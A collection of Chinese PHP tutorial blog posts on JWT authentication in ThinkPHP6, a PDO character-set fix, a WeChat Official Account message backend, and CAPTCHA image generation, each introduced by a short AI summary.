AI摘要 本文介绍了在ThinkPHP6中集成JWT Token的方法。通过安装firebase/php-jwt库，创建Token类实现签发与验证逻辑，并配合中间件对请求进行拦截校验，从而实现用户身份的有效管理与安全认证。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 使用JwtToken1.安装JwtTokencomposer require firebase/php-jwt2.新建PHP类文件这里新建了Token.php类文件，用于token的签发和验证<?php namespace app\home; use Firebase\JWT\JWT; use Firebase\JWT\Key; class Token { protected $salt; protected $keyId; public function __construct() { $this->salt = md5("1585364631"); } function getToken($uid): string { $currentTime = time(); return JWT::encode([ "iss" => 'dao', "aud" => '', "iat" => $currentTime, "nbf" => $currentTime, "exp" => $currentTime + 3600 * 24, "data" => [ 'uid' => $uid, ] ], $this->salt, "HS256"); } public function checkToken($token): array { $res = array("code"=>201); try { JWT::$leeway = 60; $decoded = JWT::decode($token, new Key($this->salt, 'HS256')); return [ "code"=>200, "data"=>((array)$decoded)['data'] ]; } catch(\Firebase\JWT\SignatureInvalidException $e) { $res['msg']="签名不正确"; }catch(\Firebase\JWT\BeforeValidException|\Firebase\JWT\ExpiredException $e) { $res['msg']="token失效"; } catch(\Exception $e) { $res['msg']="token无效"; } return $res; } }3.新建中间件文件需要登入使用的进行校验<?php namespace app\home\middleware; use app\home\Token; use Closure; use think\Request; use think\Response; use think\response\Redirect; class UserToken { /** * 处理请求 * * @param Request $request * @param Closure $next * @return Response|Redirect */ public function handle(Request $request, Closure $next) { $token = $request->header('jwtToken',""); $res = (new Token())->checkToken($token); if ($res['code'] != 200 ){ return json($res); } $request->uid = $res['data']->uid; return $next($request); } }
PHP pdo连接mysql数据库查询中文字符为？记录解决
AI摘要 PHP使用PDO连接MySQL时，若查询结果出现中文乱码（显示为“？”），可通过在PDO连接参数中添加`PDO::MYSQL_ATTR_INIT_COMMAND => "set names utf8"`来解决，确保数据库连接初始化时正确设置字符编码。 此内容根据文章生成，仅用于文章内容的解释与总结 PHP pdo连接mysql数据库查询中文字符为？记录解决php中，使用pdo连接mysql数据库，查询语句输出结果，中文字符为？解决方法在新建pdo连接中，数组加入对应参数PDO::MYSQL_ATTR_INIT_COMMAND => "set names utf8"例如：new \PDO("$this->dbms:host=$this->host;dbname=$this->dbName", $this->user, $this->pass,[\PDO::ATTR_PERSISTENT => true,\PDO::MYSQL_ATTR_INIT_COMMAND => "set names utf8"]);
AI摘要 本文记录了使用PHP对接微信公众平台的开发过程，涵盖了服务器通信验证、access_token的获取与缓存管理、接收用户消息（XML解析）以及被动回复消息（包括文本及超链接）的实现方法，为开发者提供了基础的对接框架与代码示例。 此内容根据文章生成，仅用于文章内容的解释与总结 PHP开发微信公众平台0.微信公众平台官方文档https://developers.weixin.qq.com/doc/offiaccount/Basic_Information/Access_Overview.htmlhttps://res.wx.qq.com/op_res/-serEQ6xSDVIjfoOHcX78T1JAYX-pM_fghzfiNYoD8uHVd3fOeC0PC_pvlg4-kmP1.配置与微信服务器的通信1.打开微信公众平台，获取并写入基本信息index.php文件<?php // 微信公众平台基本信息 $token = 'xxxx'; $AppID = 'wx64xxxxxxxxxf014'; $AppSecret = 'd9bxxxxxxxxxxxxxxxxxxxc2'; ?>2.验证消息是否来自微信服务器index.php文件<?php // 微信公众平台基本信息 $token = 'xxxx'; $AppID = 'wx64xxxxxxxxxf014'; $AppSecret = 'd9bxxxxxxxxxxxxxxxxxxxc2'; // 验证消息是否来自微信服务器 // 计算signature微信加密签名，并且与微信请求字段的signature进行值对比，从而证明消息来自微信服务器 if(!empty($_GET['echostr'])){ // 微信通信请求字段 $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $echostr = $_GET['echostr']; // 将token，timestamp，nonce三个字段合为一个数组，并且按照字典排序 $arr = array($token, $timestamp, $nonce); sort($arr,SORT_STRING); // 将数组内容拼接为一个字符串 $str = implode($arr); // 将拼接后的字符串内容进行sha1加密 $sign = sha1($str); // 与微信服务器请求的signature字段内容进行对比，则证明是来自微信服务器的消息 if($sign == $signature){ //将echoStr字段的值返回给微信 echo $echostr; }else{ // 内容不一样则退出 return false; } } ?>3.配置微信公众平台1.登入微信公众平台2.点击基本配置3.在“IP白名单” 点击查看，添加服务器IP地址4.在“服务器配置” 点击修改配置URL：网页地址Token：与php文件中的token一样EncodingAESKey：随机生成一个消息加解密方式：兼容模式5.点击提交-确定6.启用2.获取access_tokenaccess_token有效期为两小时，所以1.5小时就重新刷新获取一次access_tokenaccess_token每天请求上线为2000次，每次请求都获取一次access_token，可以将当前access_token缓存在本地文件1.获取access_token架构：本地没有保存access_token的文件，获取access_token，并且保存在文件本地有保存access_token点文件：判断access_token是否过期：过期了，重新获取access_token，保存替换文件没有过期，直接使用2.创建get_access_token.php文件get_access_token.php文件<?php // 文件名 $file = "access_token.dao"; // access_token获取地址，修改appid和secret $get_url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=wx6xxxxxxxxx014&secret=d9bxxxxxxxxxxxxxxxxxx76c2"; // access_token $access_token = ""; function get_access_token(){ // 引用全局变量 global $file,$get_url,$access_token; // 取网页源码 $html = file_get_contents($get_url); // 取access_token的值 $access_token = json_decode($html)->access_token; // 取当前时间戳 $timer = time(); // 打开access_token保存文件 $fp = fopen($file, "w+"); // 写入时间戳 access_token,以空格分割 fwrite($fp,($timer . " " . $access_token)); // 关闭文件 fclose($fp); return false; } // 如果文件不存在，则执行获取access_token函数 if(!file_exists($file)){ get_access_token(); } // 如果文件存在，则获取当前时间戳减去文本中的时间戳，判断access_token是否超时 $access_token_file = fopen($file,'r'); // 取出文本内容并且按照空格将字符串切割为数组 $text = explode(" ",fread($access_token_file,filesize($file))); fclose($access_token_file); // 取当前时间戳，减去文本中转为整数型的时间戳，如果大于5400（1.5小时），则重新获取一次access_token_file if((time() - ((int)$text[0])) >= 5400){ get_access_token(); } $access_token = $text[1]; return false; ?>3.获取用户发送的消息官方文档：消息事件：https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Receiving_standard_messages.html推送事件：https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Receiving_event_pushes.html微信服务器会发送两种消息给开发者服务器get - 验证服务器的有效性post - 微信服务器会将用户发送的数据以post请求都方式发送到服务器，但是不能用post来接收消息调试代码：index.php文件<?php // 执行php文件得到可用access_token include "get_access_token.php"; // 微信公众平台基本信息 $token = 'xxxx'; $AppID = 'wx64xxxxxxxxxf014'; $AppSecret = 'd9bxxxxxxxxxxxxxxxxxxxc2'; // 验证消息是否来自微信服务器 // 计算signature微信加密签名，并且与微信请求字段的signature进行值对比，从而证明消息来自微信服务器 if(!empty($_GET['echostr'])){ // 微信通信请求字段 $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $echostr = $_GET['echostr']; // 将token，timestamp，nonce三个字段合为一个数组，并且按照字典排序 $arr = array($token, $timestamp, $nonce); sort($arr,SORT_STRING); // 将数组内容拼接为一个字符串 $str = implode($arr); // 将拼接后的字符串内容进行sha1加密 $sign = sha1($str); // 与微信服务器请求的signature字段内容进行对比，则证明是来自微信服务器的消息 if($sign == $signature){ //将echoStr字段的值返回给微信 echo $echostr; }else{ // 内容不一样则退出 return false; } } // 接收用户对公众号发送的信息 function get_info(){ // 接收xml数据 $GLOBALS['HTTP_RAW_POST_DATA']，如果用不了就使用file_get_contents('php://input') // 或者找到php.ini配置文件，修改配置为always_populate_raw_post_data = On // $xml = $GLOBALS['HTTP_RAW_POST_DATA']; $xml = file_get_contents('php://input'); // 如果$xml有数据才执行 if(!empty($xml)){ // 临时存放字符串数据 $text = $xml; // 防止xml注入，禁止xml实体解析 libxml_disable_entity_loader(true); // 使用simpleXML解析该xml字符串 $xml = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA); // 通过元素MsgType来判断该微信服务器转发的消息类型 switch ($xml->MsgType){ // 接收到事件消息 case 'event': // 公众号订阅事件 if ($xml->Event=='subscribe'){ } // 公众号取消订阅事件 if ($xml->Event=='unsubscribe'){ } break; // 接收到文本消息 case 'text': // 调试是否正常接收文本 $fp = fopen("1.txt","w+"); fwrite($fp,$text); fclose($fp); break; // 接收到图片消息 case 'image': break; //接收到语音消息 case 'voice': break; //接收到视频消息 case 'video': break; //接收到短视频消息 case 'shortvideo': break; //接收到位置消息 case 'location': break; //接收到链接消息 case 'link': break; } } } get_info(); ?>给微信公众号发送一条消息，大概内容如下1.txt<xml> <ToUserName> gh_5xxxxxxxxxxxxxxe7 </ToUserName> <FromUserName> oKMn3wXdxxxxxxxxxxxxxxxbrdx2-tqk </FromUserName> <CreateTime>1649653429</CreateTime> <MsgType> text </MsgType> <Content> 111 </Content> <MsgId>2361xxxxxxxx36426</MsgId> <Encrypt> [binary] </Encrypt> </xml>精简代码：index.php文件<?php // 执行php文件得到可用access_token include "get_access_token.php"; // 微信公众平台基本信息 $token = 'xxxx'; $AppID = 'wx64xxxxxxxxxf014'; $AppSecret = 'd9bxxxxxxxxxxxxxxxxxxxc2'; // 验证消息是否来自微信服务器 // 计算signature微信加密签名，并且与微信请求字段的signature进行值对比，从而证明消息来自微信服务器 if(!empty($_GET['echostr'])){ // 微信通信请求字段 $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $echostr = $_GET['echostr']; // 将token，timestamp，nonce三个字段合为一个数组，并且按照字典排序 $arr = array($token, $timestamp, $nonce); sort($arr,SORT_STRING); // 将数组内容拼接为一个字符串 $str = implode($arr); // 将拼接后的字符串内容进行sha1加密 $sign = sha1($str); // 与微信服务器请求的signature字段内容进行对比，则证明是来自微信服务器的消息 if($sign == $signature){ //将echoStr字段的值返回给微信 echo $echostr; }else{ // 内容不一样则退出 return false; } } // 接收用户对公众号发送的信息 function get_info(){ // 接收xml数据 $GLOBALS['HTTP_RAW_POST_DATA']，如果用不了就使用file_get_contents('php://input') // 或者找到php.ini配置文件，修改配置为always_populate_raw_post_data = On // $xml = $GLOBALS['HTTP_RAW_POST_DATA']; $xml = file_get_contents('php://input'); // 如果$xml有数据才执行 if(!empty($xml)){ // 防止xml注入，禁止xml实体解析 libxml_disable_entity_loader(true); // 使用simpleXML解析该xml字符串 $xml = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA); // 通过元素MsgType来判断该微信服务器转发的消息类型 switch ($xml->MsgType){ // 接收到事件消息 case 'event': // 公众号订阅事件 if ($xml->Event=='subscribe'){ } // 公众号取消订阅事件 if ($xml->Event=='unsubscribe'){ } break; // 接收到文本消息 case 'text': break; // 接收到图片消息 case 'image': break; //接收到语音消息 case 'voice': break; //接收到视频消息 case 'video': break; //接收到短视频消息 case 'shortvideo': break; //接收到位置消息 case 'location': break; //接收到链接消息 case 'link': break; } } } get_info(); ?>4.根据用户发送的消息进行回复官方文档：https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Passive_user_reply_message.html定义一个全局发消息模板index.php // 全局变量定义消息发送模板 $send_info_array = array( // %s 代表变量，之后可以使用spritf传值 // 文本消息的发送模板 "text" => "<xml><ToUserName> %s </ToUserName><FromUserName> %s </FromUserName><CreateTime>%s</CreateTime><MsgType> text </MsgType><Content> %s </Content></xml>" );定义一个发送文本消息的函数，形参$xml接受$xml内容index.php // 定义用户关注公众号函数 function user_subscribe($xml){ // 引用全局变量模板 global $send_info_array; $cont = "此乃缘，妙，不可言"; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); } // 定义用户取消关注公众号函数 function user_unsubscribe($xml){ // 引用全局变量模板 global $send_info_array; $cont = "天下分久必合，合久必分，无不散之筵席，有缘再相见"; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); } // 定义一个发送文本消息的函数，形参$xml接受$xml内容 function send_text_info($xml){ // 引用全局变量模板 global $send_info_array; $cont = $xml->Content; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); }在事件处添加函数index.php // 接收到事件消息 case 'event': // 公众号订阅事件 if ($xml->Event=='subscribe'){ user_subscribe($xml); } // 公众号取消订阅事件 if ($xml->Event=='unsubscribe'){ user_unsubscribe($xml); } break; // 接收到文本消息 case 'text': // 判断为文本消息后，跳转函数 send_text_info($xml); break;完整代码index.php<?php // 执行php文件得到可用access_token include "get_access_token.php"; // 微信公众平台基本信息 $token = 'xxxx'; $AppID = 'wx64xxxxxxxxxf014'; $AppSecret = 'd9bxxxxxxxxxxxxxxxxxxxc2'; // 验证消息是否来自微信服务器 // 计算signature微信加密签名，并且与微信请求字段的signature进行值对比，从而证明消息来自微信服务器 if(!empty($_GET['echostr'])){ // 微信通信请求字段 $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $echostr = $_GET['echostr']; // 将token，timestamp，nonce三个字段合为一个数组，并且按照字典排序 $arr = array($token, $timestamp, $nonce); sort($arr,SORT_STRING); // 将数组内容拼接为一个字符串 $str = implode($arr); // 将拼接后的字符串内容进行sha1加密 $sign = sha1($str); // 与微信服务器请求的signature字段内容进行对比，则证明是来自微信服务器的消息 if($sign == $signature){ //将echoStr字段的值返回给微信 echo $echostr; }else{ // 内容不一样则退出 return false; } } // 全局变量定义消息发送模板 $send_info_array = array( // %s 代表变量，之后可以使用spritf传值 // 文本消息的发送模板 "text" => "<xml><ToUserName> %s </ToUserName><FromUserName> %s </FromUserName><CreateTime>%s</CreateTime><MsgType> text </MsgType><Content> %s </Content></xml>" ); // 定义用户关注公众号函数 function user_subscribe($xml){ // 引用全局变量模板 global $send_info_array; $cont = "此乃缘，妙，不可言"; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); } // 定义用户取消关注公众号函数 function user_unsubscribe($xml){ // 引用全局变量模板 global $send_info_array; $cont = "天下分久必合，合久必分，无不散之筵席，有缘再相见"; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); } // 定义一个发送文本消息的函数，形参$xml接受$xml内容 function send_text_info($xml){ // 引用全局变量模板 global $send_info_array; $cont = $xml->Content; $res = sprintf($send_info_array['text'],$xml->FromUserName,$xml->ToUserName,time(),$cont); die($res); } // 接收用户对公众号发送的信息 function get_info(){ // 接收xml数据 $GLOBALS['HTTP_RAW_POST_DATA']，如果用不了就使用file_get_contents('php://input') // 或者找到php.ini配置文件，修改配置为always_populate_raw_post_data = On // $xml = $GLOBALS['HTTP_RAW_POST_DATA']; $xml = file_get_contents('php://input'); // 如果$xml有数据才执行 if(!empty($xml)){ // 防止xml注入，禁止xml实体解析 libxml_disable_entity_loader(true); // 使用simpleXML解析该xml字符串 $xml = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA); // 通过元素MsgType来判断该微信服务器转发的消息类型 switch ($xml->MsgType){ // 接收到事件消息 case 'event': // 公众号订阅事件 if ($xml->Event=='subscribe'){ user_subscribe($xml); } // 公众号取消订阅事件 if ($xml->Event=='unsubscribe'){ user_unsubscribe($xml); } break; // 接收到文本消息 case 'text': // 判断为文本消息后，跳转函数 send_text_info($xml); break; // 接收到图片消息 case 'image': break; //接收到语音消息 case 'voice': break; //接收到视频消息 case 'video': break; //接收到短视频消息 case 'shortvideo': break; //接收到位置消息 case 'location': break; //接收到链接消息 case 'link': break; } } } get_info(); ?>在公众号回复内容进行验证，如需其他功能自行看官方文档扩展5.回复带有超链接的文本使用HTML5代码格式"
AI摘要 本文介绍了使用PHP生成随机验证码的方法。通过自定义函数，利用GD库创建画布，生成包含字母与数字的随机字符串，并添加干扰像素、线条及边框以增强安全性。最终将验证码存入Session并以PNG图片格式输出。 此内容根据文章生成，仅用于文章内容的解释与总结 PHP生成随机验证码源代码：<?php // $img_w 图片宽 // $img_h 图片高 // $char_len 验证码字符数 // $font 字体大小(内置字体1-5) // $px 随机干扰像素点 // $line 随机线条数 function getCode($img_w=100,$img_h=40,$char_len=5,$font=5,$px=80,$line=10){ //生成码值数组,不需要0，避免与字母o冲突 $char = array_merge(range("A","Z"),range("a","z"),range("1","9")); //随机获取$char_len个码值的键 $rand_keys = array_rand($char,$char_len); //判断当码值长度为1时，将其放入数组中 if($char_len == 1){ $rand_keys = array($rand_keys); } //打乱随机获取的码值键的数组 shuffle($rand_keys); //根据键获取对应的码值，并拼接成字符串 $code=''; foreach($rand_keys as $i){ $code = $code . $char[$i]; } //----1 生成画布 $img = imageCreateTrueColor($img_w,$img_h); //设置背景 $bg_color = imageColorAllocate($img,0xcc,0xcc,0xcc); imageFill($img,0,0,$bg_color); //干扰像素 for($i=0;$i<=$px;$i++){ $color = imageColorAllocate($img,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255)); imageSetPixel($img,mt_rand(0,$img_w),mt_rand(0,$img_h),$color); } for($i=0;$i<=$line;$i++){ $color = imageColorAllocate($img,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255)); imageline($img,mt_rand(0,$img_w),mt_rand(0,$img_h),mt_rand(0,$img_w),mt_rand(0,$img_h),$color); } //矩形边框 $rect_color = imageColorAllocate($img,0x90,0x90,0x90); imageRectangle($img,0,0,$img_w-1,$img_h-1,$rect_color); //----2 操作画布 //设定字符串颜色 $str_color = imageColorAllocate($img,mt_rand(0,100),mt_rand(0,100),mt_rand(0,100)); //设定字符串位置 $font_w = imageFontWidth($font); $font_h = imageFontHeight($font); $str_w = $font_w * $char_len; imageString($img,$font,($img_w-$str_w)/2,($img_h-$font_h)/2,$code,$str_color); $resulf = array( "code" => $code, "img" => $img ); return $resulf; } // $res['code'] 验证码 // $res['img'] 图片 $res = getCode(); session_start(); $_SESSION['captcha_code'] = $res['code']; header("Content-Type: image/png"); imagepng($res['img']); imagedestroy($res['img']); ?>